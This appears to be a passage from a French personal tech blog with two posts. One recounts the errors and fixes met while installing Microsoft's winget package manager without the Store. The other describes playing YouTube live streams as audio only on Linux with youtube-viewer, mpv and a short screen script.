Et certainement d’autres petits détails qui ne m’ont pas sauté aux yeux. Après le dernier article de NextINpact sur l’outil (je vous laisse aller les lire pour en comprendre l’intérêt), je me suis penché donc sur l’installation de winget depuis les paquets fournis sur Github pour faire un peu joujou avec.

Mais pour ceux qui ont trop la flemme, c’est un utilitaire, qui fait penser à Chocolatey ou WAPT, qui permet d’installer via une commande unique, plusieurs applications provenant de sources différentes. Beaucoup plus efficace et rapide que d’aller sur chaque site officiel (quand les résultats de recherche ne sont pas pourris de liens sponsorisés et de packages frelatés), récupérer chaque fichier d’installation, les vérifier, et enfin se taper tous les process d’installation à grand renfort de clics.

Comme j’envisage de refaire mon installation de Windows en fin d’année avec la dernière LTSC de Windows 10 (à moi WSL2, Windows Terminal et j’en passe), ce logiciel a toute mon attention.

Première erreur : il manque les dépendances

C’est bien un truc qui m’emmerde profondément sous Windows : toutes les applications que vous installez embarquent la plupart du temps leurs propres dépendances, ce qui fait que vous installez x copies d’une même brique utilisée dans plusieurs logiciels. Un point que les distributions Linux ont compris depuis longtemps, ce qui fait que les logiciels proposés dans leurs dépôts sont tous construits sur la même base de dépendances, la mise à jour d’une des briques profitant de fait à tout le monde (et on retombe dans les mêmes problématiques avec snap, flatpak et appImage…).

Donc après avoir récupéré le package sur le dépôt Github, premier échec de l’installation. Ici le message d’erreur était relativement clair :

PS C:\Users\Seboss666\Downloads> Add-AppxPackage -Path .\Microsoft.DesktopAppInstaller_8wekyb3d8bbwe.msixbundle
Add-AppxPackage : Échec du déploiement avec HRESULT: 0x80073CF3, Échec des mises à jour, de la dépendance ou de la
validation des conflits du package.
Windows ne peut pas installer le package Microsoft.DesktopAppInstaller_1.12.11692.0_x64__8wekyb3d8bbwe, car ce package
dépend d’une infrastructure qui n’a pas pu être trouvée. Indiquez l’infrastructure «Microsoft.VCLibs.140.00.UWPDesktop
» publiée par «CN=Microsoft Corporation, O=Microsoft Corporation, L=Redmond, S=Washington, C=US», avec une
architecture neutre ou de processeur x64 et la version minimale 14.0.29231.0, en plus de ce package à installer. Les
infrastructures avec le nom «Microsoft.VCLibs.
Windows ne peut pas installer le package Microsoft.DesktopAppInstaller_1.12.11692.0_x64__8wekyb3d8bbwe, car ce package
dépend d’une infrastructure qui n’a pas pu être trouvée. Indiquez l’infrastructure «Microsoft.VCLibs.140.00.UWPDesktop
» publiée par «CN=Microsoft Corporation, O=Microsoft Corporation, L=Redmond, S=Washington, C=US», avec une
architecture neutre ou de processeur x64 et la version minimale 14.0.29231.0, en plus de ce package à installer. Les
infrastructures avec le nom «Microsoft.VCLibs.140.00.UWPDesktop» installées actuellement sont: {}
REMARQUE: pour obtenir des informations supplémentaires, recherchez [ActivityId] e5511a5d-ad1a-0008-3346-51e51aadd701
dans le journal des événements ou utilisez la ligne de commande Get-AppPackageLog -ActivityID
e5511a5d-ad1a-0008-3346-51e51aadd701
Au caractère Ligne:1 : 1
+ Add-AppxPackage -Path .\Microsoft.DesktopAppInstaller_8wekyb3d8bbwe.m ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : WriteError: (C:\Users\Seboss...bbwe.msixbundle:String) [Add-AppxPackage], IOException
    + FullyQualifiedErrorId : DeploymentError,Microsoft.Windows.Appx.PackageManager.Commands.AddAppxPackageCommand

Relativement hein… Qwant a été mon ami pas mal de fois pendant ce voyage. Déjà, dans la plupart des tutos, donc avec le Store activé, on vous dit « double-cliquez sur le paquet téléchargé ». Vu qu’on ne peut pas cliquer sur le paquet, on lance PowerShell en mode administrateur, et on prie. Cette fois les recherches pointent vers des commandes qui… font lancer le téléchargement de la dépendance depuis le Microsoft Store *clap, clap*

La réponse se trouve dans l’installation manuelle de cette dépendance après l’avoir téléchargé depuis le site de Microsoft, après que je me sois perdu plusieurs dizaines de minutes sur le forum dev de MS et sur des issues Github qui mentionnaient toutes des manipulations depuis Visual Studio, ce qui sans surprise ne me convenait pas. L’installation se fait de la même manière que pour winget, et après ça, on peut retenter  :

PS C:\Users\Seboss666\Downloads> Add-AppxPackage -Path .\Microsoft.VCLibs.x64.14.00.Desktop.appx
PS C:\Users\Seboss666\Downloads> Add-AppxPackage -Path .\Microsoft.DesktopAppInstaller_8wekyb3d8bbwe.msixbundle

Je n’ai eu de message de retour pour aucune des deux commandes (alors que n’importe quel package manager sous Linux est autrement plus verbeux, pour votre bien). Mais winget est bien installé désormais.

Deuxième erreur : comment dire…

Sauf que là, on retombe dans des travers très « microsoftiens », quand je le lance la première fois :

PS C:\Users\Seboss666\Downloads> winget.exe --help
Le programme «winget.exe» n’a pas pu s’exécuter: Aucune licence d'application applicable n'a été trouvéeAu caractère
Ligne:1 : 1
+ winget.exe --help
+ ~~~~~~~~~~~~~~~~~.
Au caractère Ligne:1 : 1
+ winget.exe --help
+ ~~~~~~~~~~~~~~~~~
    + CategoryInfo          : ResourceUnavailable: (:) [], ApplicationFailedException
    + FullyQualifiedErrorId : NativeCommandFailed

Je… n’ai pas de mots pour décrire la connerie. Et là, ça a été encore plus long, le thread qui m’aura finalement sauvé se trouve dans une issue Github où l’on constate que plusieurs personnes se plaignent de problèmes d’installation sur des Windows Server, pour lesquels le Store est très facilement dégommé, voire la machine n’a même pas d’accès internet direct pour des raisons de sécurité. Vous me direz, pourquoi installer winget dans ce cas, j’avoue j’ai pas la réponse, à part pour scripter la phase d’installation de prérequis au déploiement d’une machine (ce que j’ai prévu de faire, remember).

Le fichier de licence a cependant été ajouté par Microsoft sans tambours ni trompettes (comprenez sans que ça soit explicitement mentionné ni documenté) dans la liste des ressources accompagnant la release, ce qui ne permet pas d’identifier quand/si on en a besoin. Une fois le fichier récupéré, la commande d’installation se complique salement :

PS C:\Users\Seboss666\Downloads>
>> Add-AppxProvisionedPackage -Online -PackagePath .\Microsoft.DesktopAppInstaller_8wekyb3d8bbwe.msixbundle -LicensePath .\08d8788d59cf47ed9bf42c31e31f8efa_License1.xml -Verbose
COMMENTAIRES : Version de l’image cible 10.0.17763.2183


Path          :
Online        : True
RestartNeeded : False

Cette fois on a un message de retour, pour la bonne raison qu’on a ajouté le flag -Verbose. Est-ce pour autant la fin du calvaire ?

PS C:\Users\Seboss666\Downloads> winget --help
Windows Package Manager v1.0.11692
Copyright (c) Microsoft Corporation. Tous droits réservés.

L’utilitaire de ligne de commande winget permet d’installer des applications et d’autres packages à partir de la ligne de commande.

consommation: winget [<commande>] [<options>]

Les commandes suivantes sont disponibles :
  install    Installe le package donné
  show       Affiche des informations sur un package
  source     Gérer les sources des packages
  search     Rechercher et afficher des informations de base sur les packages
  list       Afficher les packages installés
  upgrade    Met à niveau le package donné
  uninstall  Désinstallation du paquet donné
  hash       Assistant pour le hachage des fichiers d’installation
  validate   Valide un fichier manifeste
  settings   Ouvrir les paramètres
  features   Affiche le statut des fonctionnalités expérimentales
  export     Exporte une liste des packages installés
  import     Installe tous les packages dans un fichier

Pour en savoir plus sur une commande spécifique, passez-la à l’argument aide. [-?]

Les options suivantes sont disponibles :
  -v,--version  Afficher la version de l’outil
  --info        Afficher les informations générales de l’outil

Vous trouverez de l’aide supplémentaire sur : https://aka.ms/winget-command-help

Enfin, ça semble fonctionner, et une recherche de package montre bien des résultats :

PS C:\Users\Seboss666\Downloads> winget search gimp
Nom          ID                Version Correspondance
-----------------------------------------------------
GIMP         GIMP.GIMP         2.10.24
GIMP Nightly GIMP.GIMP.Nightly 2.99.6  Tag: gimp

PS C:\Users\Seboss666\Downloads> winget show gimp
Trouvé GIMP [GIMP.GIMP]
Version: 2.10.24
Publisher: The GIMP Team
Author: The GIMP Team
Moniker: GIMP
Description: GIMP is an acronym for GNU Image Manipulation Program. It is a freely distributed program for such tasks as photo retouching, image composition and image authoring.
Homepage: https://www.gimp.org
License: Copyright (C) 2007 Free Software Foundation, Inc. - GNU General Public License
License Url: https://www.gimp.org/about/COPYING
Installer:
  Type: Inno
  Download Url: https://download.gimp.org/pub/gimp/v2.10/windows/gimp-2.10.24-setup-1.exe
  SHA256: 84a542d717217f5fb996a18093c4424136978ebbf3815db2ee3c5daa8dcafc0b

Quand j’ai fait la recherche, l’annonce de la sortie de la version 2.10.28 de GIMP venait de tomber dans mes flux RSS, donc je me fais pas trop de soucis que ça sera à jour sous peu.

Ah, dernière petite erreur, sans surprise vu que c’est un outil Microsoft, il embarque de la télémétrie. Pour la désactiver, il faut faire un winget settings et vous croisez les doigts (chez moi sans que je sache pourquoi j’avais pas d’éditeur par défaut pour les fichiers json, du coup ça complique temporairement les choses), il faut ajouter les éléments suivants :

"telemetry": {
    "disable": true
},

Attention : packages en anglais

C’est très fréquent pour des logiciels jeunes comme winget, surtout quand c’est initié par une boite américaine : la plupart des logiciels vont être installés par défaut dans la langue de Shakespeare. Je n’ai pas trop regardé encore comment améliorer ça pour les gens que ça dérange, pour ma part, je suis assez à l’aise, même si certains logiciels sont quand même plus agréables à gérer dans notre si belle langue (surtout avec des sites web qui détectent votre langue à partir de celle de votre navigateur préféré par exemple).

Le fait est que la source des manifestes d’installation se trouve sur Github, et les contributions sont ouvertes, donc dans la grande tradition de git et de la plateforme en particulier, les ajouts peuvent se faire à coup de forks et de pull requests. Il est même possible de créer son propre dépôt ou « source » de packages si l’envie vous en prend. On est donc sur un bel outil qui semble amené à un bel avenir. Il va être temps de se préparer un joli script d’installation massive 🙂

  •  

Stream youtube sans navigateur, dur, mais faisable !

Quand je ne suis pas en réunion/call/conférence Teams, et même en dehors du boulot, j’ai une tendance facile à laisser traîner un live youtube en mode « radio » (il en existe une foultitude). Mais l’âge du PC, la lourdeur de YouTube (son manque d’optimisation « standard »), font que je cherchais une solution plus légère. J’ai trouvé une solution de geek évidemment…

Ma machine date technologiquement : un Intel Core i5 6300U, ça reste encore vaillant, mais face à l’agression constante d’un Microsoft Teams, et d’un Firefox aux dizaines d’onglets ouverts, certains particulièrement consommateurs (consoles de cloud providers, entre autres), malgré les 16Go de RAM et le Crucial P2, certains moments deviennent pénible. Ajoutez que sous Linux, l’accélération vidéo dans les navigateurs reste problématique, et que malgré les solutions apportées sur le papier, j’ai toujours pas réussi personnellement alors que les plateformes Intel sont pourtant réputées faciles à exploiter. Le load s’envole à tout va, les latences dans la moindre action devient problématique, la seule chose qui reste constante, c’est le shell.

Je n’ai pas de capture d’écran à partager, mais voilà, lors d’un test « au repos », avec juste un onglet Youtube d’ouvert sur une des radios que j’écoute, le load atteint vite les 4/5 avec tous les cœurs à 100%, sur une machine qui n’a que deux cœurs physiques avec HyperTreading. Teams est déjà une purge quand il est tout seul, pareil pour Firefox avec tous les sites qui ne sont maintenant validés qu’avec Chrome (l’impression d’un retour en arrière de 20 ans, mais en remplaçant Microsoft par Google, on se sentirait presque Bill Murray). Je me suis donc mis en tête de chercher des alternatives plus légères, d’autant plus que seul l’audio est ma cible.

Une flopée de déceptions

VLC en tête d’ailleurs. C’est le seul logiciel à qui j’ai pu faire avaler le moteur de décodage vidéo du GPU intégré Intel, il portait donc beaucoup d’espoir. Mais depuis un certain temps, alors que pas mal d’articles, certains datant même de plusieurs années, ou parlant de la version de développement, mentionnent qu’il suffit normalement de lui passer l’URL d’une vidéo pour qu’il s’en charge, pas moyen ici de lui faire avaler celle de mon flux favori.

D’autres recherches m’ont envoyées vers différents logiciels de différents niveaux de finition. Une fois encore, la facilité apportée par AUR dans l’installation des logiciels et de leurs dépendance rend l’expérience de test beaucoup plus simple et rapide. Mais pas le résultat. Certains logiciels ne fonctionnaient pas du tout, d’autres étaient encore plus lourds qu’un navigateur. J’avais pourtant déjà exclus d’emblée toute application Electron, parce que bon, si c’est pour lancer un Chromium et ouvrir un site, autant utiliser Chromium qui est déjà fréquemment ouvert (j’avais déjà parlé de ça dans l’utilisation des proxy Socks). Ce n’est cependant pas ce que je cherchais.

Il y a une application qui a tenu deux minutes avant que je la supprime. Elle paraissait intéressante, mais elle ne supporte pas correctement les flux « stream », et changeait de vidéo au bout de 10 secondes. C’est particulièrement frustrant. Au total ce sont quatre ou cinq applications qui sont passées sur le grill et qui n’ont pas tenu l’objectif. Avec en plus des recherches entrecoupées d’actions liées purement au boulot, et des appels fréquents en ce moment (vacances, départs, on devient vite « seul au monde »), je désespérais de trouver une solution.

Le Graal encore une fois en « console »

Je finis sur une discussion qui parle de youtube-viewer. Quand on cherche juste youtube-viewer sur un moteur de recherche, on tombe sur plusieurs projets, mais celui-ci est en perl (ouais, je troll souvent sur le langage, mais voilà, parfois, ça fait le taf). C’est finalement un gros script, il n’est là que pour manipuler les API YouTube, et passer la vidéo à un lecteur adapté. Les premiers essais avec mplayer échouent (j’ai suivi les exemples dans la discussion), un rapide coup d’œil dans les issues github me confirment que le lecteur n’est plus supporté et que mpv doit lui être préféré; un coup de yay plus tard j’entends enfin mon premier son stable pendant plus d’une minute !

Je ne vais pas détailler toutes les possibilités de youtube-viewer, sachez que si vous comptez exploiter la recherche de vidéos, il faudra générer une clé d’API sur… votre compte YouTube/Google. Eh ouais, l’utilisation en mode « anonyme » ne peut se faire que via le navigateur ou les applications officielles, histoire de bien enregistrer le moindre de vos faits et gestes… Dans mon cas, vu que je passe l’URL directe du flux, ça n’est pas nécessaire, la documentation devrait vous aider.

Le dernier point qui me dérangeait, c’était que ça prenait un onglet dans Guake, et j’en ouvre déjà beaucoup trop 😀 j’ai donc monté un petit prototype de script qui ne sert pas à grand chose à part démarrer youtube-viewer en mode « arrière-plan » :

#!/bin/bash

screen -dmS mpv-youtube youtube-viewer --video-player=mpv --no-video $@

Ah oui, ce n’est pas mentionné, mais il faut installer youtube-dl pour que l’extraction des flux d’une URL fonctionne, il n’est qu’en dépendance optionnelle sur le paquet AUR. Et pour screen, c’est pas non plus installé par défaut. L’avantage, c’est que sous Manjaro/Arch, c’est d’une facilité déconcertante à installer.

C’est du prototype hein, donc ça se limite à dire « lance youtube-viewer, avec le lecteur mpv, sans aucun décodage vidéo, avec l’URL fournie au lancement du script. Le tout dans un screen pour rendre la main à la console. Les plus alertes auront compris qu’il n’y a aucun contrôle de lecture ou de volume du coup. En effet, pour couper le son pendant les appels, je me repose sur pulseaudio, qui a aussi le bon goût de pouvoir envoyer la lecture d’mpv sur la sortie « enceintes » du laptop, pour laisser le casque à Teams. Je n’ai pas besoin de contrôler la lecture, pour une bonne et simple raison…

Réduction du load : achievement unlocked

Je me suis remis dans la configuration du test initial pour mesurer le load : moins de 2, avec mêmes des descentes à presque 1. Le CPU respire et les latences sont réduites dans plusieurs situations, j’ai donc moins de frustrations à l’accumulation de ces micro-attentes qui se répètent à longueur de journée. Par conséquent, le manque de contrôle de la lecture n’est pas un problème fondamental, dans la mesure ou il n’y a plus qu’à couper le son pour ne pas être dérangé, la lecture peut continuer sans avoir d’impact important sur mon quotidien.

Voilà, une grosse astuce qui méritait un peu plus qu’une petite place dans un « astuces diverses » (on vient de dépasser les 1000 mots). Et oui, j’ai encore trouvé une solution qui n’est pas à la portée de tout le monde, mais quand les outils pour monsieur tout le monde deviennent trop pénibles, la console nous sauve tous. Et il n’est pas dit que j’aurais pu trouver une solution simple sous Windows (bon ceci dit, l’accélération vidéo sous Windows, ça fonctionne mieux, alors…).

  •  
❌